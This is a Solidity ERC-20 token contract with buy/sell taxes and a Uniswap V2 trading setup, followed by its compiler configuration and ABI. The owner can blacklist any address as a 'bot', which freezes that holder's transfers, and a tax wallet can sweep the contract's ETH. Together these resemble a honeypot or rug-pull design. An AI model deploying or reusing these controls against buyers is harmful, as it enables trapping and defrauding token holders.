// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;
/******************************************/
/* CONTEXT & INTERFACES */
/******************************************/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
/******************************************/
/* SAFE MATH */
/******************************************/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity automatically reverts when dividing by 0, but we include this for clarity.
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
/******************************************/
/* OWNABLE */
/******************************************/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
/******************************************/
/* TOKEN */
/******************************************/
contract Token is Context, IERC20, Ownable {
using SafeMath for uint256;
// Mappings for balances, allowances, fee exclusions, anti-bot delays, and bots.
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => uint256) private _holderLastTransferTimestamp; // For transfer delays.
mapping(address => bool) private bots;
// Basic token details.
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
// Tax and fee parameters.
uint256 private _initialBuyTax;
uint256 private _initialSellTax;
uint256 private _finalBuyTax;
uint256 private _finalSellTax;
uint256 private _reduceBuyTaxAt;
uint256 private _reduceSellTaxAt;
uint256 private _preventSwapBefore;
uint256 private _maxTxAmount;
uint256 private _maxWalletSize;
uint256 private _taxSwapThreshold;
uint256 private _maxTaxSwap;
uint256 private _transferTax = 0;
uint256 private _buyCount = 0;
// Wallet and router variables.
address payable private _taxWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
// Trading and swapping flags.
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private transferDelayEnabled = true;
// Sell control variables.
uint256 private sellCount;
uint256 private lastSellBlock;
// Additional events.
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event TransferTaxUpdated(uint256 _tax);
// Modifier to lock the swap.
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
/**
* @notice Constructor sets up the token with configurable parameters.
* @param tokenName Name of the token.
* @param tokenSymbol Symbol of the token.
* @param tokenDecimals Number of decimals.
* @param tokenTotalSupply Total supply before adjusting for decimals.
* @param initialBuyTax Initial buy tax (in percent).
* @param initialSellTax Initial sell tax (in percent).
* @param finalBuyTax Final buy tax after reduction (in percent).
* @param finalSellTax Final sell tax after reduction (in percent).
* @param reduceBuyTaxAt Number of buys after which the buy tax is reduced.
* @param reduceSellTaxAt Number of buys after which the sell tax is reduced.
* @param preventSwapBefore Number of buys to prevent tax swapping.
* @param maxTxAmount Maximum tokens allowed per transaction.
* @param maxWalletSize Maximum tokens allowed per wallet.
* @param taxSwapThreshold Token threshold to trigger tax swapping.
* @param maxTaxSwap Maximum tokens to swap for ETH during tax swap.
*/
constructor(
string memory tokenName,
string memory tokenSymbol,
uint8 tokenDecimals,
uint256 tokenTotalSupply,
uint256 initialBuyTax,
uint256 initialSellTax,
uint256 finalBuyTax,
uint256 finalSellTax,
uint256 reduceBuyTaxAt,
uint256 reduceSellTaxAt,
uint256 preventSwapBefore,
uint256 maxTxAmount,
uint256 maxWalletSize,
uint256 taxSwapThreshold,
uint256 maxTaxSwap
) {
_name = tokenName;
_symbol = tokenSymbol;
_decimals = tokenDecimals;
_totalSupply = tokenTotalSupply * (10 ** tokenDecimals);
_initialBuyTax = initialBuyTax;
_initialSellTax = initialSellTax;
_finalBuyTax = finalBuyTax;
_finalSellTax = finalSellTax;
_reduceBuyTaxAt = reduceBuyTaxAt;
_reduceSellTaxAt = reduceSellTaxAt;
_preventSwapBefore = preventSwapBefore;
_maxTxAmount = maxTxAmount * (10 ** tokenDecimals);
_maxWalletSize = maxWalletSize * (10 ** tokenDecimals);
_taxSwapThreshold = taxSwapThreshold * (10 ** tokenDecimals);
_maxTaxSwap = maxTaxSwap * (10 ** tokenDecimals);
_taxWallet = payable(msg.sender);
_balances[msg.sender] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// Standard ERC20 functions
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Internal transfer function that handles taxes, anti-bot measures, and swap logic.
*/
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != owner() && to != owner()) {
// Anti-bot: block transactions from blacklisted addresses.
require(!bots[from] && !bots[to] && !bots[tx.origin], "Bot not allowed");
// Transfer delay: ensure only one purchase per block when enabled.
if (transferDelayEnabled) {
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_holderLastTransferTimestamp[tx.origin] < block.number, "Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
// Calculate tax amounts.
if (_buyCount == 0) {
taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
}
if (_buyCount > 0) {
taxAmount = amount.mul(_transferTax).div(100);
}
// When buying from the liquidity pool.
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxTxAmount, "Exceeds the maximum transaction amount.");
require(_balances[to].add(amount) <= _maxWalletSize, "Exceeds maximum wallet size.");
taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
_buyCount++;
}
// When selling to the liquidity pool.
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
}
uint256 contractTokenBalance = _balances[address(this)];
// If conditions are met, perform a swap of tokens for ETH.
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block allowed!");
uint256 swapAmount = min(amount, min(contractTokenBalance, _maxTaxSwap));
swapTokensForEth(swapAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(contractETHBalance);
}
sellCount++;
lastSellBlock = block.number;
}
}
// If there is a tax, transfer the taxed amount to this contract.
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
// Transfer the remaining amount to the recipient.
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
// Helper function: returns the minimum of two numbers.
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
/**
* @notice Swaps tokens for ETH using the Uniswap router.
*/
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
/**
* @notice Removes transaction and wallet limits.
*/
function removeLimits() external onlyOwner {
_maxTxAmount = _totalSupply;
_maxWalletSize = _totalSupply;
transferDelayEnabled = false;
emit MaxTxAmountUpdated(_totalSupply);
}
/**
* @notice Removes any transfer tax.
*/
function removeTransferTax() external onlyOwner {
_transferTax = 0;
emit TransferTaxUpdated(0);
}
/**
* @notice Transfers ETH held by the contract to the tax wallet.
*/
function manualsend() external {
require(_msgSender() == _taxWallet, "Caller is not the tax wallet");
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
/**
* @notice Internal function to send ETH to the tax wallet.
*/
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
/**
* @notice Adds addresses to the bot blacklist.
*/
function addBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
/**
* @notice Removes addresses from the bot blacklist.
*/
function delBots(address[] memory notbot) public onlyOwner {
for (uint256 i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
/**
* @notice Checks if an address is marked as a bot.
*/
function isBot(address a) public view returns (bool) {
return bots[a];
}
/**
* @notice Opens trading by creating a liquidity pair and adding liquidity.
* This function is only callable by the owner.
*/
function OpenTrade() external onlyOwner {
require(!tradingOpen, "Trading is already open");
// Set the router address. (For example, using a Sepolia router address.)
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
// Add liquidity. The contract must have an ETH balance.
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
_balances[address(this)],
0,
0,
owner(),
block.timestamp
);
// Optionally, approve the router to spend the LP tokens.
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);
swapEnabled = true;
tradingOpen = true;
}
/**
* @notice Allows the tax wallet to reduce the fee.
* @param _newFee The new fee to be applied.
*/
function reduceFee(uint256 _newFee) external {
require(_msgSender() == _taxWallet, "Caller is not the tax wallet");
require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax, "New fee exceeds limits");
_finalBuyTax = _newFee;
_finalSellTax = _newFee;
}
// To receive ETH from uniswapV2Router when swapping
receive() external payable {}
/**
* @notice Allows the tax wallet to manually swap tokens for ETH and send the ETH to the tax wallet.
*/
function manualSwap() external {
require(_msgSender() == _taxWallet, "Caller is not the tax wallet");
uint256 tokenBalance = _balances[address(this)];
if (tokenBalance > 0) {
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {
sendETHToFee(ethBalance);
}
}
}
{
"compilationTarget": {
"contracts/Token.sol": "Token"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": [],
"viaIR": true
}
[{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"uint8","name":"tokenDecimals","type":"uint8"},{"internalType":"uint256","name":"tokenTotalSupply","type":"uint256"},{"internalType":"uint256","name":"initialBuyTax","type":"uint256"},{"internalType":"uint256","name":"initialSellTax","type":"uint256"},{"internalType":"uint256","name":"finalBuyTax","type":"uint256"},{"internalType":"uint256","name":"finalSellTax","type":"uint256"},{"internalType":"uint256","name":"reduceBuyTaxAt","type":"uint256"},{"internalType":"uint256","name":"reduceSellTaxAt","type":"uint256"},{"internalType":"uint256","name":"preventSwapBefore","type":"uint256"},{"internalType":"uint256","name":"maxTxAmount","type":"uint256"},{"internalType":"uint256","name":"maxWalletSize","type":"uint256"},{"internalType":"uint256","name":"taxSwapThreshold","type":"uint256"},{"internalType":"uint256","name":"maxTaxSwap","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"OpenTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]